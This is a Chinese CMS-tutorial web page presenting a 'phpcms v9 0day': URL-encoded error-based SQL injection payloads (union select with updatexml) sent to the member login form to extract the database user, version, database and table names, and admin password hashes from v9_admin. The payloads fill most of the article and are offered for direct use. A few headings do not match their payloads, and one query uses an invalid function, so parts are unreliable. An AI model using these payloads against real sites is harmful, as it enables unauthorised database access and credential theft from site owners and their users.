您现在的位置是：首页 > cms教程 > phpcms教程phpcms教程
phpcms v9 0day
尤政航2025-05-23phpcms教程已有人查阅
导读只要url编码一下，替换一下就ok了在updatexml里必须只能有三个值所以爆帐号密码要一个一个爆
index.php?m=member&c=index&a=login
后缀
username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2buser())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523
爆管理账户密码
username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2bversion())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523
版本：
username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2bversion())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523
库：
username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2bdatabases())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523
爆出表：
updatexml(1,concat(0x5e24,(select table_name from information_schema.tables where table_schema='phpcms' limit 0,1),0x5e24),1)
只要url编码一下，替换一下就ok了在updatexml里必须只能有三个值
所以爆帐号密码要一个一个爆
如：
updatexml(1,concat(0x5e24,(select password from v9_admin limit 0,1),0x5e24),1)
以此类推备注（有一些需要验证码登陆的请添加&code=5fnuv&dosubmit=%E7%99%BB%E5%BD%95）
感谢您的认可和支持
微信
支付宝
本文标签：
很赞哦！ ()
图文教程
PHPCMS v9.6.0任意用户密码重置的方法
他分析的好像不对。我用我的在分析一次。先来看poc：根据phpcms的框架，定位到源码地址/phpcms/modules/member/index.php 第267到312行
phpcms自定义表单的实现方法
(1)：打开后台，点击模块，找到表单向导，点击添加表单向导，出现下面的界面。(2)：接下来，我们需要介绍下上面图中的模板选择和js调用使用的模板这两个选项
PHPCMS万能字段使用方法示例
phpcms在添加内容时，有时添加的数据是其他表中数据，比如我现在遇到的一个问题，A栏目是一个用来发布所有公司介绍的栏目，当前台的会员注册被后台管理员批准可以进入后台发布找到A栏目发布的新闻资讯
phpcms不支持缩略图和水印的解决方法
phpcms不支持缩略图和水印怎么办PHPCMS默认安装的时候不支持缩略图和水印功能问高手后原来这样实现：
相关源码
-
(自适应)绿色LED灯具照明灯饰灯光灯泡pbootcms网站源码下载本模板基于PbootCMS内核开发，为LED照明、灯具制造及相关光电技术企业量身打造。设计充分考虑了照明行业的展示需求，从产品陈列到技术说明，从光源展示到工程案例，每一个细节都体现出专业照明行业的特点。查看源码 -
(自适应响应式)房产合同知识产权企业管理pbootcms模板下载本模板基于PbootCMS系统开发，为知识产权服务、法律咨询及企业合同管理等行业设计。采用严谨专业的布局风格，突出法律文书与知识产权服务行业特色，适合展示各类法律服务和知识产权相关内容。查看源码 -
html5响应式pbootcms模板新闻资讯博客网站源码该模板采用PbootCMS内核开发，专为新闻资讯类网站打造，同时具备高度行业适配性--只需替换图文内容即可快速转型为企业官网、行业门户等各类站点。查看源码 -
(自适应响应式)英文外贸电子产品手机配件网站pbootcms模板专业级外贸网站模板基于PbootCMS内核开发，为电子产品跨境贸易企业设计。采用响应式布局技术，确保电脑、平板、手机等设备访问时自动适配显示效果。数据实时同步管理，一次编辑全平台生效。查看源码 -
(PC+WAP)绿色环保设备环保企业网站模板源码下载基于PbootCMS内核开发的响应式企业模板，为环保设备制造、环境技术服务等企业打造，通过模块化设计实现多行业快速适配。查看源码 -
帝国cms7.2淘宝客导购自媒体博客网站模板源码本模板基于帝国CMS7.2内核深度开发，为淘宝客、商品导购类自媒体及博客网站设计。通过可视化后台管理，可快速搭建具备商品推荐、比价功能的内容平台，帮助用户实现流量高效转化。查看源码
| 分享笔记 （共有 篇笔记） |
